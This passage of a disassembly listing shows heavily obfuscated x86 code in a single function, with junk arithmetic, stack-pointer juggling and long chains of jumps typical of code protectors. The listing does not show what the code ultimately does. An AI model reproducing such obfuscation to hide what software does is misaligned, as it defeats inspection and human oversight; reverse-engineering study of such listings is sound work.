loc_5B12D3:				; CODE XREF: sub_58A891+17544j
		sub	ebx, 6ACA127Fh
		add	ebx, edx
		jmp	loc_5AAED2
; ---------------------------------------------------------------------------


loc_5B12E0:				; CODE XREF: sub_58A891+13F09j
		js	loc_59C37E
		jmp	loc_5A4686
; ---------------------------------------------------------------------------


loc_5B12EB:				; CODE XREF: sub_58A891+129F4j
		push	edi
		push	esp
		pop	edi
		push	5B07h
		mov	[esp+2+var_4+2], ebp
		mov	ebp, 445F44CAh
		add	ebp, 0BBA0BB3Ah
		add	edi, 260670FDh
		add	edi, ebp
		sub	edi, 260670FDh
		pop	ebp
		jmp	loc_59D086
; ---------------------------------------------------------------------------


loc_5B1315:				; CODE XREF: sub_58A891+1CFD5j
		add	edx, 18AB0801h
		add	edx, 0C69FF927h
		sub	eax, edx
		pop	edx
		jmp	loc_5ACD4B
; ---------------------------------------------------------------------------


loc_5B1329:				; CODE XREF: sub_58A891+210FFj
		pop	ebp
		add	edx, 4
		xor	edx, [esp+30h+var_30]
		jmp	loc_5AF19D
; ---------------------------------------------------------------------------


loc_5B1335:				; CODE XREF: sub_58A891+16517j
		push	edx
		mov	edx, 472C0A70h
		push	edi
		mov	edi, 0E157Bh
		jmp	loc_5AF7CC
; ---------------------------------------------------------------------------


loc_5B1346:				; CODE XREF: sub_58A891+23CD9j
		push	ebx
		mov	ebx, 3BF029F6h
		add	ebx, 85B5987Bh
		jmp	loc_5AE42F
; ---------------------------------------------------------------------------


loc_5B1357:				; CODE XREF: sub_58A891+1D457j
		add	esp, 4
		push	cx
		jmp	loc_59CED1
; ---------------------------------------------------------------------------


loc_5B1364:				; CODE XREF: sub_58A891+25D8Ej
					; sub_58A891+2638Dj
		mov	eax, [esp+0Ah+var_C+2]
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, 57E613A8h
		jmp	loc_59DC62
; ---------------------------------------------------------------------------


loc_5B137B:				; CODE XREF: sub_58A891+231F9j
		pop	edx
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], edi
		mov	edi, 399114A1h
		xor	ebx, edi
		pop	edi
		jmp	loc_5AB7D5
; ---------------------------------------------------------------------------


loc_5B1392:				; CODE XREF: sub_58A891:loc_59E6EBj
		sub	esi, 969946Fh
		add	esi, 5B581639h
		xor	esi, 5DA8584Fh
		shl	esi, 1
		shr	esi, 5
		push	ebp
		mov	ebp, 349FC348h
		add	esi, ebp
		jmp	loc_5B27F0
; ---------------------------------------------------------------------------


loc_5B13B6:				; CODE XREF: sub_58A891+15E64j
		push	[esp+86h+var_86]
		jmp	loc_5AF0F7
; ---------------------------------------------------------------------------


loc_5B13BE:				; CODE XREF: sub_58A891+27D3Cj
		shl	edi, 1
		jnz	loc_5AB602
		jmp	loc_5A53C7
; ---------------------------------------------------------------------------
		mov	[esp+8Ah+var_8A], ebp
		push	eax
		mov	eax, 0D4C16FDh
		push	edi


loc_5B13D5:				; CODE XREF: sub_58A891+1A5B4j
		pop	ebx
		jmp	loc_5A8ED7
; ---------------------------------------------------------------------------


loc_5B13DB:				; CODE XREF: sub_58A891+22E1Bj
		add	eax, 26231CEAh
		add	eax, ecx
		jmp	loc_5A782A
; ---------------------------------------------------------------------------


loc_5B13E7:				; CODE XREF: sub_58A891+16E95j
		add	edx, 4
		push	ecx
		mov	ecx, 0B757EC2h
		neg	ecx
		inc	ecx
		shr	ecx, 5
		sub	ecx, 7A45405h
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp+46h+var_46]
		pop	esp
		add	esp, 4
		push	ebp
		jmp	loc_59F977
; ---------------------------------------------------------------------------


loc_5B1412:				; CODE XREF: sub_58A891+1E413j
		push	edi
		push	eax
		mov	eax, 4AE72260h
		sub	eax, 1
		shr	eax, 6
		xor	eax, 12B9C8Dh
		jmp	loc_5ACF17
; ---------------------------------------------------------------------------


loc_5B1429:				; CODE XREF: sub_58A891+1CE34j
		pop	ax
		push	eax
		mov	al, 0F1h
		jmp	loc_5AA558
; ---------------------------------------------------------------------------


loc_5B1433:				; CODE XREF: sub_58A891+160DCj
		xor	esi, 676C21C5h
		or	esi, 6EE94060h
		jg	loc_5AB3E9
		add	esi, 0A354A27Bh
		add	esi, 1
		jmp	loc_5AFB22
; ---------------------------------------------------------------------------


loc_5B1453:				; CODE XREF: sub_58A891+27593j
		jp	loc_5A210E
		shr	eax, 7
		jmp	loc_5A2CAD
; ---------------------------------------------------------------------------


loc_5B1461:				; CODE XREF: sub_58A891+16B72j
		push	[esp+82h+var_82]
		mov	edx, [esp+86h+var_86]
		jmp	loc_5B00A6
; ---------------------------------------------------------------------------


loc_5B146C:				; CODE XREF: sub_58A891+17D41j
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		push	1BD4h
		mov	[esp-1Eh+arg_18+2], ebp
		push	8CF6EFAh
		pop	ebp
		jmp	loc_5AE461
; ---------------------------------------------------------------------------


loc_5B1485:				; CODE XREF: sub_58A891+1B36Fj
		jbe	loc_5B1C5D
		sub	eax, 12E699BEh
		push	edx
		mov	edx, eax
		jmp	loc_5A04F8
; ---------------------------------------------------------------------------
		mov	bh, 0DEh


loc_5B149A:				; CODE XREF: sub_58A891+1CDA4j
		add	ecx, 0FE88DC81h
		sub	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 30F20E8Eh
		neg	edi
		add	edi, 0CA3040Dh
		and	edi, 1F5B1194h
		jmp	loc_5AEECA
; ---------------------------------------------------------------------------


loc_5B14BC:				; CODE XREF: sub_58A891+23448j
		add	al, 5Ah
		add	al, 8Ah
		push	small 5435h
		mov	word ptr [esp+60h+var_60], dx
		push	ebx
		jmp	loc_5A26E4
; ---------------------------------------------------------------------------


loc_5B14CE:				; CODE XREF: sub_58A891+261CCj
		sub	ebx, 760E11EFh
		sub	ebx, 73D92C34h
		add	ebx, edi
		add	ebx, 73D92C34h
		add	ebx, 760E11EFh
		add	ebx, 6C020253h
		add	ebx, 4E264A9Fh
		mov	edi, [esp-0Eh+arg_4+2]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp-12h+arg_8+2]
		xor	[esp-12h+arg_8+2], ebx
		xor	ebx, [esp-12h+arg_8+2]
		pop	esp
		bswap	eax
		push	6F20h
		mov	[esp-12h+arg_8+2], eax
		jmp	loc_5A7ED7
; ---------------------------------------------------------------------------


loc_5B1519:				; CODE XREF: sub_58A891+26F7Dj
		push	[esp-12h+arg_8+2]
		mov	edx, [esp-0Eh+arg_4+2]
		jmp	loc_5AAAFE
; ---------------------------------------------------------------------------


loc_5B1524:				; CODE XREF: sub_58A891+12136j
		sub	esi, edi
		pop	edi
		jmp	loc_5A7CF5
; ---------------------------------------------------------------------------


loc_5B152C:				; CODE XREF: sub_58A891+13F22j
		push	3300h
		mov	[esp+8Eh+var_8E], edi
		jmp	loc_5A95CB
; ---------------------------------------------------------------------------


loc_5B1539:				; CODE XREF: sub_58A891+26EB2j
		add	eax, 2
		xor	eax, [esp+8Eh+var_8E]
		xor	[esp+8Eh+var_8E], eax
		xor	eax, [esp+8Eh+var_8E]
		mov	esp, [esp+8Eh+var_8E]
		btr	word ptr [esp+8Eh+var_8E], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B1553:				; CODE XREF: sub_58A891+20B19j
		push	ebp
		mov	ebp, 673B7319h
		jmp	loc_5AD9EF
; ---------------------------------------------------------------------------


loc_5B155E:				; CODE XREF: sub_58A891+20E25j
		mov	edi, [esp+82h+var_82]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59ECD4
; ---------------------------------------------------------------------------


loc_5B156F:				; CODE XREF: sub_58A891+145C5j
		xor	esi, ebx
		pop	ebx
		inc	esi
		xor	esi, 50CC937Ch
		mov	ebx, esi
		pop	esi
		push	edi
		mov	edi, 19F14464h
		add	edi, 4BC84EEBh
		jmp	loc_5A713B
; ---------------------------------------------------------------------------


loc_5B158D:				; CODE XREF: sub_58A891+131C4j
		mov	ebp, 0BD04F477h
		jmp	loc_5A1915
; ---------------------------------------------------------------------------


loc_5B1597:				; CODE XREF: sub_58A891+27FA0j
		jnz	loc_5ACD64
		sub	esi, 5691C1EFh
		sub	esi, 1
		push	ecx


loc_5B15AA:				; CODE XREF: sub_58A891+2591Cj
		xor	dh, ah
		jmp	loc_5ADEBB
; ---------------------------------------------------------------------------


loc_5B15B1:				; CODE XREF: sub_58A891+199BFj
		add	edi, eax
		push	[esp-0Ah+arg_0+2]
		jmp	loc_5B2171
; ---------------------------------------------------------------------------


loc_5B15BB:				; CODE XREF: sub_58A891+260D7j
		jnz	loc_5B2E9D
		jmp	loc_5ACE0F
; ---------------------------------------------------------------------------
		push	4077h
		mov	[esp+22h+var_24+2], ebx
		push	ecx


loc_5B15CF:				; CODE XREF: sub_58A891:loc_59D616j
		add	esi, 25C521Fh
		jmp	loc_5AA9DF
; ---------------------------------------------------------------------------


loc_5B15DA:				; CODE XREF: sub_58A891+17BD0j
		mov	ecx, edi
		pop	edi
		neg	ecx
		push	esi
		mov	esi, 1CCD083Fh
		sub	ecx, esi
		pop	esi
		add	ecx, 7BB8674Dh
		xor	ecx, 78F30D3Ch
		xor	ecx, 0E5F44110h
		sub	edi, 44AB5829h
		sub	edi, ecx
		jmp	loc_5B25EA
; ---------------------------------------------------------------------------


loc_5B1607:				; CODE XREF: sub_58A891:loc_5ADFB0j
		sub	ebx, 0AAAE3B09h
		add	ebx, 6D1D95D9h
		add	ecx, 1AA10F0h
		sub	ecx, 0E0206D9h
		jmp	loc_5A3D8B
; ---------------------------------------------------------------------------


loc_5B1624:				; CODE XREF: sub_58A891+12C8Bj
		mov	edx, edi
		mov	edi, [esp+0Ah+var_C+2]
		add	esp, 4
		sub	edi, 793C73BBh
		add	edi, edx
		push	ebx
		jmp	loc_5AB1B9
; ---------------------------------------------------------------------------


loc_5B163D:				; CODE XREF: sub_58A891+21C20j
		dec	dl
		jns	loc_5AFC2C
		sub	dl, 80h
		xor	dl, 3Ch
		push	ebx
		mov	bh, dl
		push	ebp


loc_5B164F:				; CODE XREF: sub_58A891+1E76Ej
					; sub_58A891+25D9Bj
		pop	eax
		mov	ebp, esi
		pop	esi
		add	esi, ebp
		mov	ebp, [esp+5Eh+var_60+2]
		add	esp, 4
		xchg	esi, [esp+5Ah+var_5C+2]
		mov	esp, [esp+5Ah+var_5C+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp+5Ah+var_5C+2]
		add	esp, 4
		xor	edx, [esp+56h+var_58+2]
		xor	[esp+56h+var_58+2], edx
		jmp	loc_5B23E6
; ---------------------------------------------------------------------------


loc_5B1680:				; CODE XREF: sub_58A891+1B94Bj
		mov	ecx, edx
		push	[esp+7Ch+var_7E+2]
		mov	edx, [esp+80h+var_82+2]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp+80h+var_82+2]
		jmp	loc_59DA5A
; ---------------------------------------------------------------------------


loc_5B16A8:				; CODE XREF: sub_58A891:loc_5A012Dj
		sub	esi, 0F7113C51h
		mov	edi, esi
		pop	esi
		push	eax
		jmp	loc_5A9E7A
; ---------------------------------------------------------------------------


loc_5B16B7:				; CODE XREF: sub_58A891+11D9Fj
		pop	eax
		not	ebx
		add	ebx, 2D4F41B5h
		shl	ebx, 5
		jnp	loc_5A3548
		sub	ebx, 0E883941Ch
		jmp	loc_59CC95
; ---------------------------------------------------------------------------


loc_5B16D4:				; CODE XREF: sub_58A891+24A78j
		add	al, bl
		add	al, 0D6h
		add	al, 3
		add	al, 7Bh
		push	bx
		jmp	loc_59EDC9
; ---------------------------------------------------------------------------


loc_5B16E3:				; CODE XREF: sub_58A891+1F80Dj
		mov	esp, [esp+3Ah+var_3C+2]
		add	byte ptr [esp+3Ah+var_3C+2], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B16EF:				; CODE XREF: sub_58A891+1C9C6j
		push	[esp+6Ch+var_6C]
		mov	ebx, [esp+70h+var_70]
		sub	esp, 4
		mov	[esp+74h+var_74], edx
		jmp	loc_5A89AA
; ---------------------------------------------------------------------------


loc_5B1703:				; CODE XREF: sub_58A891+24122j
		add	edi, edx
		pop	edx
		jmp	loc_59C5DB
; ---------------------------------------------------------------------------


loc_5B170B:				; CODE XREF: sub_58A891+2513Dj
		mov	eax, esp
		push	edi
		jmp	loc_5AA701
; ---------------------------------------------------------------------------


loc_5B1713:				; CODE XREF: sub_58A891+1C64Fj
		push	2871h
		mov	[esp+62h+var_64+2], edi
		push	edx
		mov	edx, 2D001846h
		mov	edi, edx
		mov	edx, [esp+66h+var_68+2]
		jmp	loc_5A67DF
; ---------------------------------------------------------------------------


loc_5B172B:				; CODE XREF: sub_58A891+120D1j
		xor	ecx, ebp
		mov	ebp, [esp+82h+var_82]
		add	esp, 4
		add	eax, 63B90D4Bh
		add	eax, ecx
		sub	eax, 63B90D4Bh
		pop	ecx
		jmp	loc_5B1539
; ---------------------------------------------------------------------------


loc_5B1748:				; CODE XREF: sub_58A891+1C6B4j
		sub	ecx, esi
		pop	esi
		jmp	loc_5A0B4B
; ---------------------------------------------------------------------------


loc_5B1750:				; CODE XREF: sub_58A891+22553j
		add	ch, bl
		push	ax
		mov	al, 0BBh
		sub	ch, al
		jmp	loc_5A8A1B
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+8Ch+var_8E+2]
		push	5B73h
		mov	[esp+90h+var_92+2], esi
		jmp	loc_5AFC25
; ---------------------------------------------------------------------------


loc_5B176E:				; CODE XREF: sub_58A891+11A44j
		xor	ebp, 9530F41h
		xor	ebp, 25503E73h
		jmp	loc_5A220C
; ---------------------------------------------------------------------------


loc_5B177F:				; CODE XREF: sub_58A891+16B61j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+82h+var_82]
		pop	esp
		mov	[esp+7Eh+var_7E], edx
		mov	edx, 0
		add	edx, ebx
		mov	[edx], al
		jmp	loc_5AFCD3
; ---------------------------------------------------------------------------


loc_5B17A2:				; CODE XREF: sub_58A891+175C0j
		shl	edi, 5
		not	edi
		and	edi, 1F1250ECh
		or	edi, 1BA43415h
		add	edi, 0FCD4FCFCh
		jmp	loc_5B2DC1
; ---------------------------------------------------------------------------


loc_5B17BE:				; CODE XREF: sub_58A891+1BD44j
		sub	esp, 4
		mov	[esp+0CEh+var_D0+2], eax
		jmp	loc_5B1908
; ---------------------------------------------------------------------------


loc_5B17CC:				; CODE XREF: sub_58A891:loc_5ABB1Dj
		dec	dl
		jns	loc_5ACAF1
		sub	dl, 80h
		xor	dl, 3Ch
		jmp	loc_5A0F51
; ---------------------------------------------------------------------------
		pop	edx


loc_5B17E0:				; CODE XREF: sub_58A891+20C59j
		xchg	edi, [esp+66h+var_68+2]
		pop	esp
		or	eax, eax
		jz	loc_5A6FEB
		push	3A72h
		mov	[esp+66h+var_68+2], edx
		mov	edx, 28h
		add	edx, 60F05F8Ah
		sub	edx, 290921BCh
		jmp	loc_5ACB3A
; ---------------------------------------------------------------------------


loc_5B180A:				; CODE XREF: sub_58A891+18CCBj
		push	[esp+2Ah+var_28+2]
		jmp	loc_5B1519
; ---------------------------------------------------------------------------


loc_5B1813:				; CODE XREF: sub_58A891+19655j
		push	ebx
		mov	ebx, 328458B1h
		jmp	loc_5AA90D
; ---------------------------------------------------------------------------


loc_5B181E:				; CODE XREF: sub_58A891+18794j
		add	esp, 4
		and	al, dl
		push	[esp+5Eh+var_60+2]
		push	[esp+62h+var_64+2]
		pop	edx
		push	esi
		jmp	loc_5A8AB1
; ---------------------------------------------------------------------------


loc_5B1833:				; CODE XREF: sub_58A891+15264j
		mov	bh, 0C8h
		sub	bh, 7Eh
		jmp	loc_5AD27D
; ---------------------------------------------------------------------------


loc_5B183D:				; CODE XREF: sub_58A891+1A140j
		dec	ebx
		jmp	loc_59D9B1
; ---------------------------------------------------------------------------


loc_5B1843:				; CODE XREF: sub_58A891+22DF1j
		mov	[esp-0Ah+arg_0+2], ecx
		push	esi
		push	6CD41C71h
		pop	esi
		neg	esi
		jz	loc_5A759D
		shl	esi, 2
		jmp	loc_5ACA62
; ---------------------------------------------------------------------------


loc_5B185D:				; CODE XREF: sub_58A891+274E8j
		push	ebp
		mov	ebp, 487335A0h
		add	esi, ebp
		pop	ebp
		jmp	loc_5AE9EB
; ---------------------------------------------------------------------------


loc_5B186B:				; CODE XREF: sub_58A891+11B5Aj
		push	edi
		add	dword ptr [esp+0], 0D465AB1h
		pop	esi
		jmp	loc_5ADC8C
; ---------------------------------------------------------------------------


loc_5B1879:				; CODE XREF: sub_58A891+1258Cj
		pop	esp
		push	dword ptr [eax]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B1881:				; CODE XREF: sub_58A891+20C99j
		xor	ecx, 13980D49h
		and	ebp, ecx
		pop	ecx
		shl	ebp, 7
		xor	ebp, 9A088E84h
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_5AE695
; ---------------------------------------------------------------------------


loc_5B18AE:				; CODE XREF: sub_58A891+1AFADj
		add	esp, [edx+38h]
		push	esi
		push	ebp
		push	15E704EBh
		pop	ebp
		xor	ebp, 7D487B3Bh
		dec	ebp
		jg	loc_5A0F83
		xor	ebp, 227255D3h
		or	al, 0B7h
		push	edi


loc_5B18D0:				; CODE XREF: sub_58A891+16A97j
		pop	esi
		jmp	loc_59EF21
; ---------------------------------------------------------------------------


loc_5B18D6:				; CODE XREF: sub_58A891+1E0F3j
		or	ebp, 2BF45485h
		jmp	loc_5A6D68
; ---------------------------------------------------------------------------


loc_5B18E1:				; CODE XREF: sub_58A891+18D5Bj
		pop	esp
		jmp	loc_5A1ECD
; ---------------------------------------------------------------------------


loc_5B18E7:				; CODE XREF: sub_58A891+21802j
		mov	edi, 4
		mov	ecx, edi
		pop	edi
		add	ebx, ecx
		pop	ecx
		jmp	loc_5A6BFC
; ---------------------------------------------------------------------------


loc_5B18F7:				; CODE XREF: sub_58A891+195B4j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59EE22
; ---------------------------------------------------------------------------


loc_5B1908:				; CODE XREF: sub_58A891+1AB64j
					; sub_58A891+26F36j
		push	edi
		mov	edi, 5184A85h
		mov	eax, edi
		pop	edi
		sub	eax, 2F622BA6h
		dec	eax
		add	eax, 35185E54h
		or	eax, 25724505h
		shr	eax, 7
		sub	esp, 4
		mov	[esp+86h+var_86], ebx
		jmp	loc_5B2CB0
; ---------------------------------------------------------------------------


loc_5B1932:				; CODE XREF: sub_58A891+13BB3j
		sub	edi, 25D536C4h
		jmp	loc_5A14BE
; ---------------------------------------------------------------------------


loc_5B193D:				; CODE XREF: sub_58A891+15CA8j
		sub	ebx, 9BFFFF5Ah
		jmp	loc_59F080
; ---------------------------------------------------------------------------


loc_5B1948:				; CODE XREF: sub_58A891+15088j
		push	341Fh
		mov	[esp+32h+var_34+2], eax
		push	5647h
		mov	[esp+36h+var_38+2], edx
		mov	edx, 2CDF4A1Fh
		jmp	loc_5A6DEB
; ---------------------------------------------------------------------------


loc_5B1962:				; CODE XREF: sub_58A891+24525j
		sub	ecx, 52677CF3h
		sub	edx, 20A97F96h
		add	edx, ecx
		add	edx, 20A97F96h
		pop	ecx
		push	edx
		not	[esp+96h+var_96]
		pop	edx
		push	ecx
		push	esi
		push	ebx
		mov	ebx, 24F17BC2h
		mov	esi, ebx
		pop	ebx
		add	esi, 60D679C0h
		sub	esi, 0FBEF6076h
		mov	ecx, esi
		pop	esi
		xor	edx, ecx
		mov	ecx, [esp+96h+var_96]
		add	esp, 4
		sub	ebx, 7A7C50F9h
		jmp	loc_59EAFB
; ---------------------------------------------------------------------------


loc_5B19A9:				; CODE XREF: sub_58A891:loc_5A158Ej
		or	ecx, 522D1F59h
		jns	loc_5B28D9
		shr	ecx, 8
		jnz	loc_59EA85
		dec	ecx
		jmp	loc_5A84B5
; ---------------------------------------------------------------------------
		xchg	ebx, ebp
		xchg	ebp, esi
		pop	esi


loc_5B19C9:				; CODE XREF: sub_58A891+22C66j
		add	esp, 4
		add	eax, 0E4D7D704h
		sub	esi, 51200F9h
		sub	esi, eax
		add	esi, 51200F9h
		pop	eax
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		mov	[esp+72h+var_74+2], eax
		mov	eax, [esp+72h+var_74+2]
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B19F8:				; CODE XREF: sub_58A891+11B87j
		add	edi, ebx
		pop	ebx
		jmp	loc_5A15A6
; ---------------------------------------------------------------------------


loc_5B1A00:				; CODE XREF: sub_58A891+1CCA6j
		push	2ED5h
		mov	[esp-0Ah+arg_0+2], edx
		push	edi
		jmp	loc_5AB790
; ---------------------------------------------------------------------------


loc_5B1A0E:				; CODE XREF: sub_58A891+20AB5j
		push	671Ch
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 5BB130A0h
		xor	eax, ebp
		pop	ebp
		jmp	loc_5B2AE1
; ---------------------------------------------------------------------------


loc_5B1A23:				; CODE XREF: sub_58A891+14719j
		add	edi, 1
		sub	edi, 9AD1F9BEh
		sub	esp, 4
		jmp	loc_5A0E82
; ---------------------------------------------------------------------------


loc_5B1A37:				; CODE XREF: sub_58A891+11C79j
		mov	eax, 2A602B60h
		add	[esp+22h+var_1C+2], 40E06162h
		sub	[esp+22h+var_1C+2], eax
		sub	[esp+22h+var_1C+2], 40E06162h
		pop	eax
		sub	[esp+1Eh+var_1C+2], 7676B40h
		sub	[esp+1Eh+var_1C+2], ebx
		jmp	loc_5A6B2B
; ---------------------------------------------------------------------------


loc_5B1A62:				; CODE XREF: sub_58A891+20BE4j
		push	7FB4h
		mov	[esp+92h+var_92], ebx
		jmp	loc_5A2BEE
; ---------------------------------------------------------------------------


loc_5B1A6F:				; CODE XREF: sub_58A891+13AF7j
		sub	[esp+12h+var_10+2], edi
		pop	edi
		sub	[esp+0Eh+var_10+2], 3B9E7553h
		push	1C20h
		mov	[esp+12h+var_14+2], esi
		mov	esi, 67B435E0h
		jmp	loc_5B278B
; ---------------------------------------------------------------------------


loc_5B1A8D:				; CODE XREF: sub_58A891+22000j
		inc	edi
		add	edi, 52980CA4h
		mov	eax, edi
		pop	edi
		push	eax
		mov	eax, 6A6A75EDh
		not	eax
		or	eax, 1AB92D8Fh
		jmp	loc_5A8580
; ---------------------------------------------------------------------------


loc_5B1AA9:				; CODE XREF: sub_58A891+193F1j
		mov	esi, esp
		push	ecx
		mov	ecx, esp
		jmp	loc_5B07E3
; ---------------------------------------------------------------------------


loc_5B1AB3:				; CODE XREF: sub_58A891+16E80j
		mov	word ptr [esp+3Eh+var_40+2], cx
		jmp	loc_59E8F6
; ---------------------------------------------------------------------------


loc_5B1ABC:				; CODE XREF: sub_58A891+16357j
		xor	ebp, 95F7AC8h
		jmp	loc_5A37A1
; ---------------------------------------------------------------------------


loc_5B1AC7:				; CODE XREF: sub_58A891+19803j
		mov	ecx, 166F5CB9h
		xor	eax, ecx
		push	[esp+40h+var_40]
		push	[esp+44h+var_46+2]
		pop	ecx
		add	esp, 4
		jmp	loc_59CADF
; ---------------------------------------------------------------------------


loc_5B1AE0:				; CODE XREF: sub_58A891+161FCj
		xor	ch, dl
		pop	edx
		shl	ch, 3
		add	ch, 0C8h
		not	ch
		shl	ch, 7
		not	ch
		jmp	loc_5A39F8
; ---------------------------------------------------------------------------


loc_5B1AF5:				; CODE XREF: sub_58A891:loc_5A6EE5j
					; sub_58A891+1FD48j
		mov	[esp+32h+var_34+2], edi
		jmp	loc_5B0CAE
; ---------------------------------------------------------------------------


loc_5B1AFD:				; CODE XREF: sub_58A891+2694Fj
		xor	eax, 111F563Ah
		push	esi
		push	edx
		push	1CB86157h
		pop	edx
		jmp	loc_59FE61
; ---------------------------------------------------------------------------


loc_5B1B0F:				; CODE XREF: sub_58A891+1467Dj
		push	ebx
		mov	ebx, 0E0D9BCB8h
		push	ebx
		pop	eax
		pop	ebx
		sub	edi, eax
		pop	eax
		jmp	loc_5A3F50
; ---------------------------------------------------------------------------


loc_5B1B20:				; CODE XREF: sub_58A891+242FDj
		or	edx, 61A953DBh
		xor	edx, 8BAB02D0h
		sub	esi, edx
		pop	edx
		not	esi
		xor	esi, 3619CC2h
		mov	ecx, esi
		jmp	loc_5AEA39
; ---------------------------------------------------------------------------


loc_5B1B3E:				; CODE XREF: sub_58A891+240D2j
		sub	ebx, edi
		add	ebx, 7DBA1B29h
		pop	edi
		not	ebx
		xor	ebx, 0AB3FA456h
		add	edi, 5FF2329h
		push	ebp
		mov	ebp, 5EB479E9h
		inc	ebp
		add	ebp, 27FD6F71h
		jmp	loc_5A5324
; ---------------------------------------------------------------------------


loc_5B1B67:				; CODE XREF: sub_58A891+15D9Bj
		mov	[esp+92h+var_92], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		push	4
		pop	ebp
		jmp	loc_5AD198
; ---------------------------------------------------------------------------


loc_5B1B7E:				; CODE XREF: sub_58A891+2441Ej
					; sub_58A891+27B94j
		xor	ebp, 58933419h
		jb	loc_5B24BA
		jmp	loc_5AFF32
; ---------------------------------------------------------------------------


loc_5B1B8F:				; CODE XREF: sub_58A891+13D5Bj
		push	esi
		mov	esi, 327D2F07h
		sub	ebx, esi
		pop	esi
		jmp	loc_5A608C
; ---------------------------------------------------------------------------


loc_5B1B9D:				; CODE XREF: sub_58A891+16375j
		mov	esi, edx
		pop	edx
		and	esi, 6206296Eh
		jo	loc_5B0EBC
		push	edx
		mov	edx, 67DD73C7h
		add	edx, 465BE50Eh
		add	esi, edx
		pop	edx
		mov	ebx, 0EFC49EC1h
		add	ebx, esi
		jmp	loc_5B08E5
; ---------------------------------------------------------------------------


loc_5B1BC7:				; CODE XREF: sub_58A891+2245Bj
		mov	ecx, [esp+58h+var_58]
		add	esp, 4
		pop	eax
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		not	eax
		xchg	eax, ecx
		push	4859h
		mov	[esp+54h+var_54], ebx
		mov	ebx, 43012DCEh
		xor	ebx, 48C51B7Dh
		jge	loc_5A7A8E
		xor	ebx, 56726DE6h
		jmp	loc_5AA7E9
; ---------------------------------------------------------------------------


loc_5B1BFB:				; CODE XREF: sub_58A891+1BE90j
		push	6D90h
		mov	[esp+74h+var_74], edx
		push	ecx
		mov	ecx, 4
		mov	edx, ecx
		jmp	loc_5A0FCF
; ---------------------------------------------------------------------------


loc_5B1C10:				; CODE XREF: sub_58A891+2595Aj
		pop	esi
		push	eax
		mov	eax, 6318158Bh
		jmp	loc_5AE728
; ---------------------------------------------------------------------------


loc_5B1C1C:				; CODE XREF: sub_58A891+16CBAj
		add	eax, 4
		push	edx
		jmp	loc_5A6ACA
; ---------------------------------------------------------------------------


loc_5B1C27:				; CODE XREF: sub_58A891+119A8j
		shl	ecx, 8
		shl	ecx, 3
		or	ecx, 42BF74FBh
		jmp	loc_5A2ADE
; ---------------------------------------------------------------------------


loc_5B1C38:				; CODE XREF: sub_58A891+11818j
					; sub_58A891+24097j
		jns	loc_5A1531
		add	ecx, 4DC761A3h
		add	ebx, ecx
		jmp	loc_59E400
; ---------------------------------------------------------------------------


loc_5B1C4B:				; CODE XREF: sub_58A891+14D81j
		sub	[esp+6+var_8+2], ebp
		pop	ebp
		xchg	ebp, ecx
		push	eax
		jmp	loc_5ACA42
; ---------------------------------------------------------------------------


loc_5B1C57:				; CODE XREF: sub_58A891+1CD17j
		push	edi
		jmp	loc_5AE040
; ---------------------------------------------------------------------------


loc_5B1C5D:				; CODE XREF: sub_58A891:loc_5B1485j
		sub	eax, 12E699BEh
		push	edx
		mov	edx, eax
		jmp	loc_59E3B2
; ---------------------------------------------------------------------------


loc_5B1C6A:				; CODE XREF: sub_58A891+16DC9j
		xor	ebx, 0D924DBD7h
		mov	esi, ebx
		pop	ebx
		add	eax, esi
		pop	esi
		push	ebx
		mov	ebx, 27DA1CF1h
		not	ebx
		sub	ebx, 0D825E30Ah
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+32h+var_34+2]
		jmp	loc_5A8B8C
; ---------------------------------------------------------------------------


loc_5B1C8F:				; CODE XREF: sub_58A891+1F07Dj
		mov	eax, 0DF4519F7h
		add	eax, ebx
		pop	ebx
		jmp	loc_59E061
; ---------------------------------------------------------------------------


loc_5B1C9C:				; CODE XREF: sub_58A891+1D65Aj
		inc	bl
		jg	loc_5A43E5
		shl	bl, 5
		jmp	loc_5A2440
; ---------------------------------------------------------------------------
		jmp	loc_5B08A1
; ---------------------------------------------------------------------------


loc_5B1CB1:				; CODE XREF: sub_58A891+14F17j
		add	esp, 4
		xor	ebp, edi
		mov	edi, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_5AAFF2
; ---------------------------------------------------------------------------


loc_5B1CC7:				; CODE XREF: sub_58A891+18595j
		add	esp, 4
		add	eax, 5ABA54A0h
		jmp	loc_5AEFD9
; ---------------------------------------------------------------------------


loc_5B1CD4:				; CODE XREF: sub_58A891+20B69j
		mov	[esp+22h+var_24+2], eax
		xor	[esp+22h+var_24+2], edx
		xor	edx, [esp+22h+var_24+2]
		xor	[esp+22h+var_24+2], edx
		jmp	loc_59EBAC
; ---------------------------------------------------------------------------


loc_5B1CE5:				; CODE XREF: sub_58A891+1EFEEj
		pop	ecx
		add	ecx, 87E39950h
		jmp	loc_5A6B38
; ---------------------------------------------------------------------------


loc_5B1CF1:				; CODE XREF: sub_58A891+249EEj
		or	esi, 44063A8Dh
